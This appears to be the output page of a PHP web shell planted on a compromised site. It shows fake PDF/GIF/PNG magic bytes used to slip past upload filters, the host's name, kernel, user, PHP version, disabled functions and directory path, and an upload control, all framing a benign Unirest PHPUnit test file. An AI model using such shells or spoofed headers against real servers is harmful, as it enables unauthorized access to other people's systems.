%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/apimatic/unirest-php/tests/Unirest/ |
Upload File : |
<?php
namespace Unirest\Response\Test;
use Unirest\Request as Request;
use Unirest\Response as Response;
require __DIR__ . '/../../src/Unirest.php';
class UnirestResponseTest extends \PHPUnit\Framework\TestCase
{
public function testJSONAssociativeArrays()
{
$opts = Request::jsonOpts(true);
$response = new Response(200, '{"a":1,"b":2,"c":3,"d":4,"e":5}', '', $opts);
$this->assertEquals($response->body['a'], 1);
}
public function testJSONAObjects()
{
$opts = Request::jsonOpts(false);
$response = new Response(200, '{"a":1,"b":2,"c":3,"d":4,"e":5}', '', $opts);
$this->assertEquals($response->body->a, 1);
}
public function testJSONOpts()
{
$opts = Request::jsonOpts(false, 512, JSON_NUMERIC_CHECK);
$response = new Response(200, '{"number": 1234567890}', '', $opts);
$this->assertSame($response->body->number, 1234567890);
}
}